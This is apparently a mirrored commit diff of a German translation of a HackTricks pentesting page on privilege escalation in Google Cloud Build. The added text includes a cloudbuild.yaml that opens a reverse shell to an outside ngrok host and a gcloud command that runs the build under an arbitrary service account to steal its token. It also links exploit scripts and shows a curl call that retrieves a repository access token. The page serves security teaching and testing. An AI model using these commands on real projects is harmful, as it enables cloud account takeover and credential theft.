mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 07:25:51 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -12,22 +12,34 @@ Für weitere Informationen zu Cloud Build siehe:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Mit dieser Berechtigung kannst du **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein **Token des Cloudbuild-Servicekontos** haben: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Du kannst jedoch **jedes Servicekonto innerhalb des Projekts** in der Cloudbuild-Konfiguration angeben.\
|
||||
Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder **einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu holen** (die Datei, die das Token enthält, könnte sich ändern).
|
||||
Mit dieser Berechtigung können Sie **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine hat standardmäßig ein **Token des Cloudbuild-Servicekontos** in ihrem Dateisystem: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Sie können jedoch **jedes Servicekonto im Projekt** in der Cloudbuild-Konfiguration angeben.\
|
||||
Daher können Sie die Maschine einfach dazu bringen, das Token an Ihren Server zu exfiltrieren oder **eine Reverse-Shell darin zu erhalten und sich das Token zu besorgen** (die Datei, die das Token enthält, könnte sich ändern).
|
||||
|
||||
Du kannst das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) finden (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfe daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um einen Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code kannst du finden, wie man andere Servicekonten angibt)**.**
|
||||
#### Direkte Ausnutzung über gcloud CLI
|
||||
|
||||
Für eine detailliertere Erklärung besuche [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
1- Erstellen Sie `cloudbuild.yaml` und ändern Sie es mit Ihren Listener-Daten.
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Laden Sie einen einfachen Build ohne Quelle hoch, die yaml-Datei und geben Sie den zu verwendenden SA für den Build an:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Verwendung der Python gcloud-Bibliothek
|
||||
Sie finden das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfen Sie daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um eine Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code finden Sie, wie Sie andere Dienstkonten angeben können)**.**
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
Für eine detailliertere Erklärung besuchen Sie [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
**Potentiell** kannst du mit dieser Berechtigung **einen Cloud-Build aktualisieren und einfach das Token des Servicekontos stehlen**, wie es mit der vorherigen Berechtigung durchgeführt wurde (aber leider konnte ich zum Zeitpunkt des Schreibens keinen Weg finden, diese API aufzurufen).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** erhalten, das zum Zugriff auf das Repository verwendet wird:
|
||||
Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** abrufen, das zum Zugriff auf das Repository verwendet wird:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
|
||||
Reference in New Issue
Block a user